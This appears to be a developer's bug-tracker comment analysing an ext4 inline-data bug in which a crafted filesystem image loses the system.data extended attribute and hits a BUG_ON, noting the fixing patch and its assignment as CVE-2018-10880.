Part of what is going on here is that there is an extended attribute for system.data stored in the inode in question, but the subsequent extended attribute is corrupted. The next problem is that the struct superblock has a required isize of 84, so this triggers an attempt to allocate an external xattr block to move some of the xattrs out. Then we try to allocate a block, and the block allocation bitmaps are corrupted, so the block allocation fails. Somewhere along this whole mess, we lose system.data extended attribute, which is why the subsequent write isn't able to find it, thus triggering the BUG_ON(is.s.not_found) So one or more of the various error handling isn't handling the errors=continue case correctly. Definitely a case of an extremely maliciously crafted file system!

This bug is fixed by ext4: never move the system.data xattr out of the inode body http://patchwork.ozlabs.org/patch/930639/ And is a real inline data bug that can be triggered without needing a specially crafted file system (although, of course, the inline_data feature has to be enabled in the file system --- which is currently not the default).
This has been assigned CVE-2018-10880 Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1596812
